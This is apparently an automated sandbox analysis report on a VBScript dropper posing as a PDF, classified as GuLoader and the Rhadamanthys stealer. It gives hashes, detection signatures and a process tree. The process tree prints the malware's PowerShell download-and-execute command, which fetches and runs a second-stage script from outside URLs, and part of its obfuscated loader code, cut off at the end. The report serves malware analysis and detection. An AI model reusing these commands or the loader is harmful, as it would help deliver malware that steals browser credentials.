Edit tour
Windows
Analysis Report
List of required items and services.pdf.vbs
Overview
General Information
| Sample name: | List of required items and services.pdf.vbs |
| Analysis ID: | 1577817 |
| MD5: | ff72b1e0f5d3b97e35607d56fbad4822 |
| SHA1: | df3978221f7bc99d030b6fe4740fba6b82b9298d |
| SHA256: | 514de6a57036885af76574b16a93669699edd143fea8532a24491c7bfe004ffc |
| Tags: | 87-120-112-91vbsuser-JAMESWT_MHT |
| Infos: |   |
 | |
Detection
GuLoader, RHADAMANTHYS
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Early bird code injection technique detected
Malicious sample detected (through community Yara rule)
Suricata IDS alerts for network traffic
System process connects to network (likely due to code injection or exploit)
VBScript performs obfuscated calls to suspicious functions
Yara detected GuLoader
Yara detected Powershell download and execute
Yara detected RHADAMANTHYS Stealer
AI detected suspicious sample
Allocates memory in foreign processes
Found suspicious powershell code related to unpacking or dynamic code loading
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Queues an APC in another process (thread injection)
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Invoke-WebRequest Execution
Sigma detected: WScript or CScript Dropper
Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder
Suspicious execution chain found
Suspicious powershell command line found
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Uses an obfuscated file name to hide its real file extension (double extension)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Connects to several IPs in different countries
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries disk information (often used to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for user specific document files
Sigma detected: Dllhost Internet Connection
Sigma detected: Msiexec Initiated Connection
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: PowerShell Web Download
Sigma detected: Uncommon Svchost Parent Process
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected Keylogger Generic
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 6788 cmdline: C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\List of require d items an d services .pdf.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) 
powershell.exe (PID: 6904 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command f unction Do wnloadAndR un([string ]$url, [st ring]$dest ination) { Invoke-We bRequest - Uri $url - OutFile $d estination ; Start-P rocess -Fi lePath $de stination -Wait };Do wnloadAndR un -url 'h ttps://www .astenterp rises.com. pk/ef/ef.v bs' -desti nation 'C: \Users\Pub lic\g8ix97 hz.vbs';Do wnloadAndR un -url 'h ttps://www .fornid.co m/lm/List% 20of%20req uired%20it ems%20and% 20services .docx' -de stination 'C:\Users\ Public\rdc 7di6ccs.do cx' MD5: 04029E121A0CFA5991749937DD22A1D9) 
conhost.exe (PID: 6924 cmdline: C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - wscript.exe (PID: 5812 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\Public \g8ix97hz. vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) 
WMIC.exe (PID: 2416 cmdline: wmic diskd rive get c aption,ser ialnumber MD5: C37F2F4F4B3CD128BDABCAEB2266A785) - conhost.exe (PID: 7060 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 6216 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" ";$Blodudt rdningen=' Afhndede'; ;$noncoope rator='Cry ophorus';; $Thalassin ian='Josep hina';;$Ma ste193='Fo rslvendes' ;;$Downthr ust=$host. Name; func tion Symbo ltabeller( $blowtube) {If ($Down thrust) {$ Morphogeni c='Ukammer ater';$ove rstegne=2; $Smuglerie rnes=$over stegne}do{ $Usaglige+ =$blowtube [$Smugleri ernes];$Sm uglerierne s+=3} unti l(!$blowtu be[$Smugle riernes])$ Usaglige}f unction cl eavingly($ Ethnicon){ .($Gudmor s) ($Ethni con)}$Medi oanterior= Symboltabe ller 'ben EExtTw.F W ';$Medioan terior+=Sy mboltabell er 'ReeUnb Lacb,lO,i keBrn FT'; $Forstdels ernes=Symb oltabeller 'RyM Ro D z.riOpl,al DeaAm/';$U dlodning=S ymboltabel ler 'P T.k lBls F1Se2 ';$Rival=' N [,in Be STTr.FjSas E MRGivmoI SaCNeE MPB eO CIBoNAn TTiME a ln EdApaGDoEc or,l] : D: Ss eMoc u KrS i TtS aYFoPB.R S O t po BCK lO,rlF =Vu $ US DDuld Oped eN,e I dNNiG';$ Forstdelse rnes+=Symb oltabeller 'Mo5S .No 0Mo t(TiWI mi.on Pd o AvwDosO. l yNChTF. p1 e0Me.Af0K ,;Ap CoWT iMinSn6 4F ; Unx,a6 u4Ac; l F arGrvGa:.e 1ab3U 1In. S 0 F)La L oGU,e KcHo kIno l/.u2 Sh0 e1Un0H a0me1 f0Sa 1 i KeFIdi ArGre rf Jo nx L/T 1,a3Ac1Ca. ,0';$Hoej kulturer=S ymboltabel ler ' DUan sGnEB RTi- AUdg ,E o N .t';$Eli ksirers=Sy mboltabell er '.oh pt tc,pAnsPl :fe/Ni/Chw Inw hwD . atUndSkeSi j .bDe.Chc ho Am ./E xew fSk/ S TokPriSlf tP eP r nn xeT .ScsC he ea E>Un h FtD,t Np she:Fl/.l /,iw SwBew .O a,krGe eMrcseo ks A aFolaud GaGatAnu S rMie,e.Spi Kt ./ SeE nfPf/ RS.e kEtiInfSut MeeH.r,anA meAd.V sAn e Ia';$Pro grammering sskik1=Sym boltabelle r 'A >';$G udmors=Sym boltabelle r ' BIC eH x';$Strud smaven='Ci rcumscript ';$Fastpri ssystemet= '\Even.Lar ';cleaving ly (Symbol tabeller ' .a$EsGA.LE pOArbLaaKa L e: ai Go VeD fi Sn .ETrs B=A, $StEBrNU v Ap:EmaB pM aPMedC a T T aGu+S $ FE,ABes TS epSirFoige s.es,uYTis .mT teO mS .EK,t');cl eavingly ( Symboltabe ller ' C$a nG oLKvOHa BRoa LKv:S pVK A .aPa bLoeReNBoF RuATeBDeR AiStKDy=Pr $ rESolazI dKT,S kIS kRUnE .R F SCh.SaSneP PrLOpiTetR a( a$AnPSy r rOUbGVir FuaViM.aMS keFor ei o ND.G WSM s R kPriHekT e1 ,)');cl eavingly ( Symboltabe ller $Riva l);$Eliksi rers=$Vaab enfabrik[0 ];$portor= (Symboltab eller 'Re$ PrG,tLNeoW ,BS.AP lF, :.aAFrTDiE Nol I ,e k R .v eiDeN FdWhUmeER = aNU eNy WIn- koTrb Stj,yEBrcM iTDe BesRy y oS.ttr.e A mKa. i$ Bm leLyd S IRaoUlApen A.T eeDir itho r');c leavingly ($portor); cleavingly (Symbolta beller 'S $.iaVitBae MilMiitoeW irInvEgiUn nTidDuuPae e. HS eS a dpreScr ,s S[Wu$Vr HRuo,pe jH ,kscu ul k tHyuenrU e D r e].r=A n$PlFP oBi rPasAdtKad .be ElBisA eNerL nTe eFus');$Pa stina=Symb oltabeller 'Ve$Sea e